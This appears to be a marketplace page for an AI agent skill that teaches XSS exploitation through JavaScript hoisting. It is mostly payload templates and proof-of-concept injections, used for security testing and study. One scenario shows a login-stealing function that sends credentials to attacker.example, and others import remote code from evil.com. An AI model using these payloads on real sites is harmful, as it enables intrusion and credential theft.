# Javascript Hoisting Xss

> JavaScript hoisting-based XSS attack techniques. Use this skill whenever the user is testing for XSS vulnerabilities, JavaScript injection, RXSS (Reflected XSS), or any scenario where they need to exploit JavaScript hoisting to bypass errors, inject code before declarations, or manipulate execution order. Trigger on mentions of hoisting, ReferenceError bypass, TypeError bypass, JS injection, or when analyzing JavaScript code for injection points.

- Skill: `abelrguezr/javascript-hoisting-xss` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/javascript-hoisting-xss`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/javascript-hoisting-xss/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/javascript-hoisting-xss

---


# JavaScript Hoisting XSS Attacks

This skill covers exploiting JavaScript hoisting mechanisms to execute arbitrary code in XSS scenarios, particularly when injection points occur after undeclared identifiers are used.

## Understanding Hoisting in XSS Contexts

JavaScript hoisting moves declarations to the top of their scope before execution. In XSS scenarios, you can inject declarations that "fix" syntax errors, allowing your payload to execute.

### Key Principle

If you can inject JavaScript **after** an undeclared object/function is used, you can:
1. Declare the missing identifier in your injection
2. Fix the syntax error that would otherwise stop execution
3. Execute your malicious code before the error occurs

## Hoisting Types

| Type | Behavior | Keywords |
|------|----------|----------|
| Value Hoisting | Use variable value before declaration | Function declarations |
| Declaration Hoisting | Reference variable before declaration (value = `undefined`) | `var` |
| Lexical Hoisting | Declaration side effects occur before evaluation | `let`, `const`, `class` |
| Import Hoisting | Both type 1 and 4 behaviors | `import` statements |

## Attack Scenarios

### Scenario 1: Fixing Undefined Function Calls

When a function is called but not defined, inject the function declaration:

```javascript
// Vulnerable code
vulnerableFunction('test', '<INJECTION>');

// Payload 1: Define function and execute code
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

// Payload 2: Alternative syntax
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
```

### Scenario 2: Fixing Undefined Variables

When a variable is used but not declared:

```javascript
// Vulnerable code
function myFunction(a,b){ return 1 };
myFunction(a, '<INJECTION>');

// Payload: Declare the missing variable
test'); var a = 1; alert(1);
```

### Scenario 3: Class Declaration Workaround

Classes cannot be declared after use, but functions can:

```javascript
// Vulnerable code
var variable = new unexploitableClass();
<INJECTION>

// Payload: Declare as function instead
function unexploitableClass() {
    return 1;
}
alert(1);
```

### Scenario 4: Undeclared Object Method Access

```javascript
// Vulnerable code
x.y(1,INJECTION)

// Payload: Declare x as function, execute before y is resolved
alert(1));function x(){}//

// Result: x.y(1,alert(1));function x(){}//
// alert() executes before TypeError on y
```

### Scenario 5: Nested Undeclared Methods

```javascript
// Vulnerable code
x.y.z(1,INJECTION)

// Payload: Import x from external module
");import {x} from "https://example.com/module.js"//

// External module (module.js):
var x = {
  y: {
    z: function(param) {
      eval(param);
    }
  }
};
export { x };
```

### Scenario 6: Bypassing Try-Catch Exception Handling

When sinks are wrapped in try-catch, ReferenceError stops execution. Hoist the identifier to survive:

```javascript
// Vulnerable code (wrapped in try-catch)
x.y(1,INJECT)

// Payload: Hoist x so parser doesn't throw
prompt()) ; function x(){} //

// Execution flow:
// 1. function x(){} is hoisted
// 2. prompt() executes
// 3. TypeError on y thrown AFTER payload runs
```

### Scenario 7: Preempting Later Declarations (RXSS)

Lock a name with `const` before legitimate code declares it:

```javascript
// Malicious code (runs first in inline <script>)
const DoLogin = () => {
  const pwd  = Trim(FormInput.InputPassword.value)
  const user = Trim(FormInput.InputUtente.value)
  fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}

// Later legitimate code (cannot override const)
function DoLogin(){ /* ... */ } // FAILS - const already bound
```

**Important**: If injecting via `eval()`, `const/let` are block-scoped. Inject a new `<script>` element for true global bindings.

### Scenario 8: Dynamic Import with User-Controlled Specifiers

Server-side rendered apps may forward input into `import()`. With loaders like `import-in-the-middle`, hoisted imports execute before subsequent lines:

```javascript
// If you control the import specifier
import('${userInput}');

// Attacker module executes before rest of code
// See CVE-2023-38704 for RCE in SSR contexts
```

## Payload Generation

Use the bundled script to generate hoisting payloads:

```bash
python scripts/generate_hoisting_payloads.py --scenario <type> --payload <code>
```

See `scripts/generate_hoisting_payloads.py` for available scenarios and options.

## Detection and Testing

### Manual Testing Checklist

1. **Identify injection points** in JavaScript context
2. **Check for undefined identifiers** used before the injection point
3. **Test function hoisting**: `')%3bfunction+name(){return+1}%3balert(1)`
4. **Test variable hoisting**: `')%3bvar+name+%3d+1%3balert(1)`
5. **Test try-catch bypass**: `alert(1));function+x(){}//`
6. **Test const preemption**: `const+name+=+()=%3E{alert(1)}//`

### Automated Tools

- **KNOXSS v3.6.5+**: Includes "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases
- Run against RXSS contexts that throw `ReferenceError`/`TypeError`

## Common Patterns

| Pattern | Payload Template |
|---------|------------------|
| Function hoist | `')%3bfunction+name(a,b){return+1}%3b<CODE>` |
| Variable hoist | `')%3bvar+name+%3d+1%3b<CODE>` |
| Try-catch bypass | `<CODE>);function+name(){}//` |
| Const preemption | `const+name+=+()=%3E{<CODE>}//` |
| Import hoist | `"%3bimport+%7Bname%7D+from+"https://evil.com/m.js"//` |

## Limitations

- **Properties are not hoisted**: `test.cookie("leo", "INJECTION")` cannot be fixed if injection is after the code
- **Syntax errors must be fixable**: The script must parse successfully after injection
- **Scope matters**: Hoisting only works within the same scope
- **Execution order**: Your code must execute before the error occurs

## References

- [JavaScript Hoisting in XSS Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [MDN: Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [Having Some Fun with JavaScript Hoisting](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [XSS Exception Bypass using Hoisting (ch4n3, 2023)](https://new-blog.ch4n3.kr/xss-exception-bypass-using-hoisting/)
- [KNOXSS Hoisting Coverage](https://knoxss.pro/?page_id=766)
- [From "Low-Impact" RXSS to Credential Stealer](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)

